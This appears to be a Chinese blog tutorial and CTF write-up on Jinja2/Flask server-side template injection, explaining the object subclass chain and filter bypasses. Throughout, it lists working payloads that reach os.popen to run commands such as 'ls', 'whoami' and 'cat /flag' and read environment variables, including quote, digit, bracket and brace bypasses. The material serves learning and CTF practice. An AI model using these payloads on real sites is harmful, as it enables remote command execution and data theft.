news 2026/4/18 12:04:37

SSTI模板注入

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SSTI模板注入

SSTI

SSTI即服务端模板注入,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输出数据,从而达到读取文件或者getshall的目的

Flask是python编写的一个web应用程序框架,Jinja2是flask中的一个模板引擎,在Jinja2中,存在三种语句:控制结构{% %}、变量取值{{ }}、注释{# #}

SSTI基本思路就是通过找到合适的魔术方法,一步步去执行,从而得到我们想要的结果

{{7*7}} # Jinja2/Twig:返回49 ${7*7} # Mako:返回49 <%= 7*7 %> # ERB:返回49 #{7*7} # Freemarker:返回49 [[7*7]] # Twig(某些版本)

jinjia2基本语法示例

{# 这是注释 #} {# 变量输出 #} Hello {{ name }}! {# 控制结构 #} {% if user.is_active %} Welcome back! {% else %} Please log in. {% endif %} {# 循环 #} <ul> {% for item in items %} <li>{{ item.name }}</li> {% endfor %} </ul> {# 模板继承 #} {% extends "base.html" %} {% block content %} <h1>Page Title</h1> {{ super() }} {# 调用父模板中的内容 #} {% endblock %}

jinjia2基本特性

  • 语法简洁:使用{{ }}表示变量,{% %}表示控制结构
  • 模板继承:支持通过{% extends %}{% block %}实现模板继承
  • 自动转义:内置 HTML 自动转义功能,防止 XSS 攻击
  • 高性能:编译为 Python 字节码,执行效率高
  • 可扩展:支持自定义过滤器、测试、全局函数等

一些方法:

__class__:万物皆对象,而 __class__ 用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为 <class 'str'>。 __bases__:以元组的形式返回一个类所直接继承的类。 __base__: 以字符串返回一个类所直接继承的第一个类。 __mro__: 返回解析方法调用的顺序。
__class__:返回对象的类 返回 <class 'str'> __bases__:返回类的基类 返回 (<class 'object'>,) __subclasses__():返回类的所有子 返回 object 的所有子类

然后进行遍历子类:寻找包含危险功能的子类(如os._wrap_close)。执行命令:调用子类的方法执行系统命令。

# 通过 _wrap_close 可以访问: _wrap_close.__init__.__globals__ 包含: - os.environ # 环境变量 - os.system # 执行系统命令 - os.popen # 执行命令并获取输出 - os.listdir # 列出目录 - os.open # 打开文件

进行读取文件操作:这个是没有进行任何过滤的操作

{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['os'].popen('ls').read()}}

进行过滤后命令

过滤了数字,就不能直接进行索引使用,但是可以间接的去使用。使用算式进行绕过

{{''.__class__.__mro__[1].__subclasses__()[140-8].__init__.__globals__['environ']['FLAG']}}

过滤了双引号和单引号,用request.args传递参数

{{().__class__}} # 元组 - 不需要引号 {{[].__class__}} # 列表 {{{}.__class__}} # 字典 {{request.__class__}} # request对象 {{config.__class__}} {{self.__class__}}

使用数字对象

{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=cat /falg

过滤了args,那就不能使用get参数去获取,但是还有其他方法,还可以使用cookies

?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.p](request.cookies.b).read()}}

然后在cookies中进行传参:p=popen;b=命令

绕过中括号[]

使用__getitem__方法:

{{ "".__class__.__bases__.__getitem__(0) }} # 等价于 __bases__[0]

绕过{{和}}

如果{{被过滤,可以使用{% %}语法:

{% print("".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()) %}

例1:

这是一般情况,没有过滤任何东西

锦家的拼音是jinjia,这不是jinjia模板注入,SSTI漏洞

测试一下,确实存在

接着获取字符串对象的类,查看类的继承链:{{''.__class__.__mro__}}。__mro__返回了(<class 'str'>, <class 'object'>),是Python对象结构

接着获取object基类,[0]是<class 'str'>,[1]是<class 'object'>。输入{{''.__class__.__mro__[1]}}返回<?class'object'>,看到可以访问object基类

然后查看object所有子类,寻找可以利用的危险类

{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('ls').read()}}

但是索引没有找准.......使用多种对象(config、request、self等)增加成功率。config是Flask内置对象,一定存在,无需寻找特定索引,避免索引号问题

可以利用cionfig执行命令:通过config对象访问os模块并执行命令。使用config的__init__方法,访问__globals__,从globals中找到os模块,通过os模块执行命令查找flag

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

在这个目录下并没有flag,看看根目录下,根目录下可以看到!

接着就是读取flag:{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

例2:

过滤数字

沿袭上一题的做法,当做到利用os._wrap_close这个类时,并没有显示内容,这里是过滤了数字

可以利用算式进行绕过,不是直接进行使用,间接进行使用

读取flag:{{''.__class__.__mro__[1].__subclasses__()[140-8].__init__.__globals__['environ']['FLAG']}}

过滤单、双引号

这题它过滤了双引号和单引号

{{().__class__}} # 元组 - 不需要引号 {{[].__class__}} # 列表 {{{}.__class__}} # 字典 {{request.__class__}} # request对象 {{config.__class__}} {{self.__class__}}

从GET参数获取

{{request.args.a}} //?a=__class__ {{request.args.a|attr(request.args.b)}} //?a=&b=__class__

使用数字对象:

{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=ls /
{{0.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.args.cmd).read()}}&cmd=cat /falg

注入思路

  • 随便找一个内置类对象,用 __class__ 拿到他所对应的类。
  • 用 __bases__ 拿到基类(<class 'object'>)。
  • 用 __subclasses__() 拿到子类别表。
  • 在子类别表中直接寻找可以利用的类,具体来说是关于命令执行或者文件操作的模块。

示例(Python 版本不同时下标需调整):

().__class__.__bases__[0].__subclasses__() ().__class__.__mro__[1].__subclasses__()

接下来只要找到能够利用的类(方法、函数)就好了

因为每个环境使用的python库不同,所以类的排序有差异。

直接使用popen(python2不行)

os._wrap_close 类里有 popen。

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()

使用 os 下的 popen

可以从含有 os 的基类入手,比如说 linecache。

"".__class__.__bases__[0].__subclasses__()[256].__init__.__globals__['os'].popen('whoami').read()

使用 import 下的 os(python2不行)

可以使用 __import__ 的 os。

"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 3:52:14

LangFlow中的SEO标题优化器:提升搜索引擎排名

LangFlow中的SEO标题优化器&#xff1a;提升搜索引擎排名 在内容为王的时代&#xff0c;一个高点击率的网页标题往往决定了文章能否被用户看见。数字营销从业者深知&#xff0c;好的SEO标题不仅能提升搜索引擎排名&#xff0c;更能显著增加页面的点击率&#xff08;CTR&#xf…

作者头像 李华
网站建设 2026/4/18 9:44:26

OrCAD原理图驱动Allegro布局布线的系统学习

从原理图到PCB&#xff1a;打通OrCAD与Allegro的协同设计闭环你有没有遇到过这样的场景&#xff1f;花了几周时间精心画完原理图&#xff0c;信心满满地导入Allegro准备布局布线&#xff0c;结果一打开——飞线乱成一团、封装全红、关键网络识别不了……更离谱的是&#xff0c;…

作者头像 李华
网站建设 2026/4/18 3:49:30

内容平台的范式转移:从UGC到AIGC+社交的演进

当一位历史爱好者输入一条精心设计的提示词&#xff0c;生成一份唐代长安城西市物价分析报告时&#xff0c;他可能没有想到&#xff0c;这条对话在接下来的72小时内会生长出17个分支&#xff1a;有人追问“安史之乱对东西两市汇率的影响”&#xff0c;有人将其“复刻”修改为“…

作者头像 李华
网站建设 2026/4/18 3:49:59

基于Java+SSM+SSM电子商务平台(源码+LW+调试文档+讲解等)/电商平台/电子商务/网络购物平台/电商交易平台/在线交易平台/电子商务系统

博主介绍 &#x1f497;博主介绍&#xff1a;✌全栈领域优质创作者&#xff0c;专注于Java、小程序、Python技术领域和计算机毕业项目实战✌&#x1f497; &#x1f447;&#x1f3fb; 精彩专栏 推荐订阅&#x1f447;&#x1f3fb; 2025-2026年最新1000个热门Java毕业设计选题…

作者头像 李华
网站建设 2026/4/18 2:50:26

13、网络名称解析与相关服务全解析

网络名称解析与相关服务全解析 1. DNS 相关工具及操作 在网络环境中,名称解析是一项关键任务,DNS(Domain Name System)在其中扮演着重要角色。下面介绍一些常用的 DNS 工具和操作方法。 1.1 Nslookup 工具 Nslookup 是一个常用的网络工具,用于查询域名系统(DNS)记录…

作者头像 李华